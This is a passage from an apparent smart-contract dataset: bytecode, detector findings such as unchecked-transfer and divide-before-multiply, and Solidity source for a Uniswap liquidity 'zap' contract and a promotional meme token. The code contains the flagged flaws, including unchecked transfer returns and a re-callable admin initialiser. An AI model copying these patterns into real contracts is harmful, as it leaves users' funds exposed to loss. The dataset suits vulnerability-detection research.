ffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600c81526020017f42697442616e636f436f696e000000000000000000000000000000000000000081525081565b60008061067f3385610d31565b148061068b5750600082145b151561069657600080fd5b6106a08383610f19565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100b565b90505b9392505050565b600981565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a675761096266c3663566a580006004546113f1565b8211156109725760009050610a6c565b6109ba6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140a565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a086004548361140a565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a6c565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610acf57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0a57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610baf57600080fd5b5af11515610bbc57600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f424243000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0057600080fd5b600560009054906101000a900460ff1615610d1e5760009050610d2b565b610d288383611428565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e4f57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104857600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d557600090506113ea565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112457600090506113ea565b60008211801561116057508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611380576111eb600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f1565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b36000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f1565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133d6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140a565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b60008282111515156113ff57fe5b818303905092915050565b600080828401905083811015151561141e57fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146557600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b45760009050611674565b6000821180156114f057508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160a5761153d6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115c76000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140a565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058207d7ac6ed17a714ee0633b3579bbc1e84eab3414f2d890ce1e7e1a6aed19203800029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,688
0x5e518287ee909c285ce3564ad5229610b5fdd26d
// SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.6.12; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface USP { function ZapStake(uint amount, address _addr) external returns(bool); function stakingStatus() external view returns (bool); function scaledToken(uint amount) external returns(bool); } interface AXIAv3 { function nextDayTime() external view returns(uint); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } contract UniswapZAP { using SafeMath for uint256; address public _token; address public _tokenWETHPair; IWETH public _WETH; bool private initialized; address public SwapPool; address public AXIAv3Add; uint public interval; address admin; function initUniswapZAP(address token, address WETH, address tokenWethPair) public { // require(!initialized); require(msg.sender == admin, "No authorization"); _token = token; _WETH = IWETH(WETH); _tokenWETHPair = tokenWethPair; //initialized = true; } fallback() external payable { if(msg.sender != address(_WETH)){ addLiquidityETHOnly(msg.sender); } } receive() external payable { if(msg.sender != address(_WETH)){ addLiquidityETHOnly(msg.sender); } } constructor()public { admin = msg.sender; } function set(address _addr, address _addr2) public{ require(msg.sender == admin, "Not allowed to configure"); SwapPool = _addr; AXIAv3Add = _addr2; } function setInterval(uint value) public{ require(msg.sender == admin, "Not allowed to configure"); interval = value; } function addLiquidityETHOnly(address payable to) public payable { require(to != address(0), "Invalid address"); require(statuscheck(), "Staking is not yet initilized, hold on till its done"); require(nextEmission() - now >= interval, "You can stake after emission"); uint256 buyAmount = msg.value.div(2); require(buyAmount > 0, "Insufficient ETH amount"); _WETH.deposit{value : msg.value}(); (uint256 reserveWeth, uint256 reserveTokens) = getPairReserves(); uint256 outTokens = UniswapV2Library.getAmountOut(buyAmount, reserveWeth, reserveTokens); _WETH.transfer(_tokenWETHPair, buyAmount); (address token0, address token1) = UniswapV2Library.sortTokens(address(_WETH), _token); IUniswapV2Pair(_tokenWETHPair).swap(_token == token0 ? outTokens : 0, _token == token1 ? outTokens : 0, address(this), ""); _addLiquidity(outTokens, buyAmount, to); } function _addLiquidity(uint256 tokenAmount, uint256 wethAmount, address payable to) internal { (uint256 wethReserve, uint256 tokenReserve) = getPairReserves(); uint256 optimalTokenAmount = UniswapV2Library.quote(wethAmount, wethReserve, tokenReserve); uint256 optimalWETHAmount; if (optimalTokenAmount > tokenAmount) { optimalWETHAmount = UniswapV2Library.quote(tokenAmount, tokenReserve, wethReserve); optimalTokenAmount = tokenAmount; } else optimalWETHAmount = wethAmount; assert(_WETH.transfer(_tokenWETHPair, optimalWETHAmount)); assert(IERC20(_token).transfer(_tokenWETHPair, optimalTokenAmount)); // IUniswapV2Pair(_tokenWETHPair).mint(to); IUniswapV2Pair(_tokenWETHPair).mint(SwapPool); USP(SwapPool).ZapStake(optimalTokenAmount, to); //refund dust if (tokenAmount > optimalTokenAmount) IERC20(_token).transfer(to, tokenAmount.sub(optimalTokenAmount)); if (wethAmount > optimalWETHAmount) { uint256 withdrawAmount = wethAmount.sub(optimalWETHAmount); _WETH.withdraw(withdrawAmount); to.transfer(withdrawAmount); } } function getLPTokenPerEthUnit(uint ethAmt) public view returns (uint liquidity){ (uint256 reserveWeth, uint256 reserveTokens) = getPairReserves(); uint256 outTokens = UniswapV2Library.getAmountOut(ethAmt.div(2), reserveWeth, reserveTokens); uint _totalSupply = IUniswapV2Pair(_tokenWETHPair).totalSupply(); (address token0, ) = UniswapV2Library.sortTokens(address(_WETH), _token); (uint256 amount0, uint256 amount1) = token0 == _token ? (outTokens, ethAmt.div(2)) : (ethAmt.div(2), outTokens); (uint256 _reserve0, uint256 _reserve1) = token0 == _token ? (reserveTokens, reserveWeth) : (reserveWeth, reserveTokens); liquidity = SafeMath.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } function getPairReserves() internal view returns (uint256 wethReserves, uint256 tokenReserves) { (address token0,) = UniswapV2Library.sortTokens(address(_WETH), _token); (uint256 reserve0, uint reserve1,) = IUniswapV2Pair(_tokenWETHPair).getReserves(); (wethReserves, tokenReserves) = token0 == _token ? (reserve1, reserve0) : (reserve0, reserve1); } function statuscheck() public view returns(bool){ return USP(SwapPool).stakingStatus(); } // function zapstaki(uint optimalTokenAmount, address to) public returns (bool){ // USP(SwapPool).ZapStake(optimalTokenAmount, to); // } function nextEmission() public view returns (uint){ return AXIAv3(AXIAv3Add).nextDayTime(); } }
0x6080604052600436106100c65760003560e01c806389675cac1161007f578063c269742011610059578063c26974201461026d578063d6b89a0314610293578063e0af3616146102bd578063ecd0c0c3146102d2576100e8565b806389675cac14610208578063947a36fb1461024357806396d6109914610258576100e8565b80630fb33d091461010357806314b0818a1461012c57806316f20fcf1461015d57806322a900821461018457806326eff6cd146101ae5780637d03abbf146101c3576100e8565b366100e8576002546001600160a01b031633146100e6576100e6336102e7565b005b6002546001600160a01b031633146100e6576100e6336102e7565b34801561010f57600080fd5b5061011861063b565b604080519115158252519081900360200190f35b34801561013857600080fd5b506101416106b1565b604080516001600160a01b039092168252519081900360200190f35b34801561016957600080fd5b506101726106c0565b60408051918252519081900360200190f35b34801561019057600080fd5b506100e6600480360360208110156101a757600080fd5b5035610710565b3480156101ba57600080fd5b5061014161076f565b3480156101cf57600080fd5b506100e6600480360360608110156101e657600080fd5b506001600160a01b03813581169160208101358216916040909101351661077e565b34801561021457600080fd5b506100e66004803603604081101561022b57600080fd5b506001600160a01b038135811691602001351661080f565b34801561024f57600080fd5b50610172610897565b34801561026457600080fd5b5061014161089d565b6100e66004803603602081101561028357600080fd5b50356001600160a01b03166102e7565b34801561029f57600080fd5b50610172600480360360208110156102b657600080fd5b50356108ac565b3480156102c957600080fd5b50610141610a19565b3480156102de57600080fd5b50610141610a28565b6001600160a01b038116610334576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b61033c61063b565b6103775760405162461bcd60e51b815260040180806020018281038252603481526020018061137b6034913960400191505060405180910390fd5b600554426103836106c0565b0310156103d7576040805162461bcd60e51b815260206004820152601c60248201527f596f752063616e207374616b6520616674657220656d697373696f6e00000000604482015290519081900360640190fd5b60006103e4346002610a37565b90506000811161043b576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015290519081900360640190fd5b600260009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561048b57600080fd5b505af115801561049f573d6000803e3d6000fd5b50505050506000806104af610a82565b9150915060006104c0848484610b6f565b6002546001546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101899052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561051b57600080fd5b505af115801561052f573d6000803e3d6000fd5b505050506040513d602081101561054557600080fd5b50506002546000805490918291610568916001600160a01b039081169116610c47565b6001546000549294509092506001600160a01b039081169163022c0d9f91808616911614610597576000610599565b845b6000546001600160a01b038581169116146105b55760006105b7565b855b604080516001600160e01b031960e086901b1681526004810193909352602483019190915230604483015260806064830152600060848301819052905160c48084019382900301818387803b15801561060f57600080fd5b505af1158015610623573d6000803e3d6000fd5b50505050610632838789610d25565b50505050505050565b60035460408051631156ad4f60e21b815290516000926001600160a01b03169163455ab53c916004808301926020929190829003018186803b15801561068057600080fd5b505afa158015610694573d6000803e3d6000fd5b505050506040513d60208110156106aa57600080fd5b5051905090565b6001546001600160a01b031681565b6000600460009054906101000a90046001600160a01b03166001600160a01b031663fee05d626040518163ffffffff1660e01b815260040160206040518083038186803b15801561068057600080fd5b6006546001600160a01b0316331461076a576040805162461bcd60e51b81526020600482015260186024820152774e6f7420616c6c6f77656420746f20636f6e66696775726560401b604482015290519081900360640190fd5b600555565b6004546001600160a01b031681565b6006546001600160a01b031633146107d0576040805162461bcd60e51b815260206004820152601060248201526f27379030baba3437b934bd30ba34b7b760811b604482015290519081900360640190fd5b600080546001600160a01b039485166001600160a01b031991821617909155600280549385169382169390931790925560018054919093169116179055565b6006546001600160a01b03163314610869576040805162461bcd60e51b81526020600482015260186024820152774e6f7420616c6c6f77656420746f20636f6e66696775726560401b604482015290519081900360640190fd5b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055565b60055481565b6003546001600160a01b031681565b60008060006108b9610a82565b909250905060006108d56108ce866002610a37565b8484610b6f565b90506000600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561092757600080fd5b505afa15801561093b573d6000803e3d6000fd5b505050506040513d602081101561095157600080fd5b50516002546000805492935091610974916001600160a01b039081169116610c47565b50600080549192509081906001600160a01b038085169116146109a25761099c896002610a37565b856109ae565b846109ae8a6002610a37565b600080549294509092509081906001600160a01b038681169116146109d45788886109d7565b87895b9092509050610a0a826109ea86896110d2565b816109f157fe5b04826109fd868a6110d2565b81610a0457fe5b0461112b565b9b9a5050505050505050505050565b6002546001600160a01b031681565b6000546001600160a01b031681565b6000610a7983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611141565b90505b92915050565b60025460008054909182918291610aa5916001600160a01b039182169116610c47565b509050600080600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015610af957600080fd5b505afa158015610b0d573d6000803e3d6000fd5b505050506040513d6060811015610b2357600080fd5b5080516020909101516000546dffffffffffffffffffffffffffff9283169450911691506001600160a01b03848116911614610b60578181610b63565b80825b90969095509350505050565b6000808411610baf5760405162461bcd60e51b815260040180806020018281038252602b815260200180611442602b913960400191505060405180910390fd5b600083118015610bbf5750600082115b610bfa5760405162461bcd60e51b81526004018080602001828103825260288152602001806113d46028913960400191505060405180910390fd5b6000610c08856103e56110d2565b90506000610c1682856110d2565b90506000610c3083610c2a886103e86110d2565b906111e3565b9050808281610c3b57fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b03161415610c9b5760405162461bcd60e51b81526004018080602001828103825260258152602001806113af6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610610cbb578284610cbe565b83835b90925090506001600160a01b038216610d1e576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600080610d30610a82565b915091506000610d4185848461123d565b9050600086821115610d6257610d5887848661123d565b9050869150610d65565b50845b6002546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b158015610dbe57600080fd5b505af1158015610dd2573d6000803e3d6000fd5b505050506040513d6020811015610de857600080fd5b5051610df057fe5b600080546001546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018790529051919092169263a9059cbb92604480820193602093909283900390910190829087803b158015610e4c57600080fd5b505af1158015610e60573d6000803e3d6000fd5b505050506040513d6020811015610e7657600080fd5b5051610e7e57fe5b600154600354604080516335313c2160e11b81526001600160a01b03928316600482015290519190921691636a6278429160248083019260209291908290030181600087803b158015610ed057600080fd5b505af1158015610ee4573d6000803e3d6000fd5b505050506040513d6020811015610efa57600080fd5b5050600354604080516375c634b760e01b8152600481018590526001600160a01b038881166024830152915191909216916375c634b79160448083019260209291908290030181600087803b158015610f5257600080fd5b505af1158015610f66573d6000803e3d6000fd5b505050506040513d6020811015610f7c57600080fd5b505081871115611015576000546001600160a01b031663a9059cbb86610fa28a866112e3565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610fe857600080fd5b505af1158015610ffc573d6000803e3d6000fd5b505050506040513d602081101561101257600080fd5b50505b8086111561063257600061102987836112e3565b60025460408051632e1a7d4d60e01b81526004810184905290519293506001600160a01b0390911691632e1a7d4d9160248082019260009290919082900301818387803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b50506040516001600160a01b038916925083156108fc02915083906000818181858888f193505050501580156110c7573d6000803e3d6000fd5b505050505050505050565b6000826110e157506000610a7c565b828202828482816110ee57fe5b0414610a795760405162461bcd60e51b81526004018080602001828103825260218152602001806113fc6021913960400191505060405180910390fd5b600081831061113a5781610a79565b5090919050565b600081836111cd5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561119257818101518382015260200161117a565b50505050905090810190601f1680156111bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816111d957fe5b0495945050505050565b600082820183811015610a79576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600080841161127d5760405162461bcd60e51b815260040180806020018281038252602581526020018061141d6025913960400191505060405180910390fd5b60008311801561128d5750600082115b6112c85760405162461bcd60e51b81526004018080602001828103825260288152602001806113d46028913960400191505060405180910390fd5b826112d385846110d2565b816112da57fe5b04949350505050565b6000610a7983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250600081848411156113725760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561119257818101518382015260200161117a565b50505090039056fe5374616b696e67206973206e6f742079657420696e6974696c697a65642c20686f6c64206f6e2074696c6c2069747320646f6e65556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e697377617056324c6962726172793a20494e53554646494349454e545f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a2646970667358221220162c5b59b4e3451aee4173e768c55d0ca712adf34cd12001c2e1ee542d4fc66164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,689
0x8f09a06ed955e7312619b7268d673502567d722c
/* 🎰 KAMEHAMEHA TOKEN 💥 🚀 Fair Launch 🚀 ✅ Staking Program (once audit is completed, hopefully by the end of June) ✅ Gambling Program (gachapon/dice rolls) completed by July! Stake KAMEHAMEHA to earn passive income and rewards. Come talk with us @KamehamehaOfficial */ library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * 